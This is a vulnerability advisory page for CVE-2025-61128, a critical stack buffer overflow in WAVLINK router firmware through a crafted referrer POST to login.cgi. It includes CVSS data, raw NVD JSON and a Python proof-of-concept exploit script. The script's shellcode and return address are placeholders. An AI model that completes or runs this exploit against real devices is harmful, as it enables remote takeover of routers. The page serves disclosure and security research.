Security Vulnerability Report
中文
CVE-2025-61128 CVSS 9.1 CRITICAL

CVE-2025-61128

Published: 2025-10-28 15:16:13
Last Modified: 2026-04-15 00:35:42

Description

Stack-based buffer overflow vulnerability in WAVLINK QUANTUM D3G/WL-WN530HG3 firmware M30HG3_V240730, and possibly other wavlink models allows attackers to execute arbitrary code via crafted referrer value POST to login.cgi.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

WAVLINK QUANTUM D3G < 固件修复版本
WAVLINK WL-WN530HG3 < M30HG3_V240730之后版本
其他使用相同Web组件的WAVLINK型号可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-61128 PoC - WAVLINK login.cgi Buffer Overflow # Target: WAVLINK QUANTUM D3G / WL-WN530HG3 (M30HG3_V240730) # Note: This PoC is for educational and authorized testing purposes only import requests import sys TARGET_IP = "192.168.1.1" # Replace with target device IP TARGET_PORT = 80 LOGIN_CGI = "/login.cgi" def create_exploit_payload(): """ Generate buffer overflow payload for MIPS architecture Adjust the payload based on target firmware version """ # Buffer size to trigger overflow (may need adjustment) buffer_size = 1024 # NOP sled for reliability nop_sled = b'\x00' * 64 # MIPS shellcode - opens reverse shell or telnetd # This is a placeholder - actual shellcode depends on target shellcode = b'\x50\x45\x4f\x50' # Replace with actual MIPS shellcode # Padding to fill buffer padding = b'A' * (buffer_size - len(nop_sled) - len(shellcode)) # Return address pointing to NOP sled or shellcode # For MIPS, common gadget addresses need to be found return_addr = b'\x40\x00\x60\x00' # Example address - must be adjusted payload = nop_sled + shellcode + padding + return_addr return payload def exploit(): """ Send malicious POST request to trigger buffer overflow """ url = f"http://{TARGET_IP}:{TARGET_PORT}{LOGIN_CGI}" # Create overflow payload malicious_referrer = create_exploit_payload() # Construct POST data with malicious referrer post_data = { 'username': 'admin', 'password': 'admin', 'referrer': malicious_referrer.decode('latin-1') } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': malicious_referrer.decode('latin-1') } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(malicious_referrer)} bytes") try: response = requests.post(url, data=post_data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Note: Target may have crashed or exploit may have succeeded") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] print("CVE-2025-61128 - WAVLINK login.cgi Buffer Overflow") print("=" * 60) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61128", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:13.350", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability in WAVLINK QUANTUM D3G/WL-WN530HG3 firmware M30HG3_V240730, and possibly other wavlink models allows attackers to execute arbitrary code via crafted referrer value POST to login.cgi."}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de búfer basado en pila en el firmware M30HG3_V240730 de WAVLINK QUANTUM D3G/WL-WN530HG3, y posiblemente otros modelos de Wavlink, permite a los atacantes ejecutar código arbitrario a través de un valor de referencia manipulado enviado por POST a login.cgi."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/shinobu-alpha/6dd5ad7f83c16360f6564db0bc121e99", "source": "[email protected]"}]}}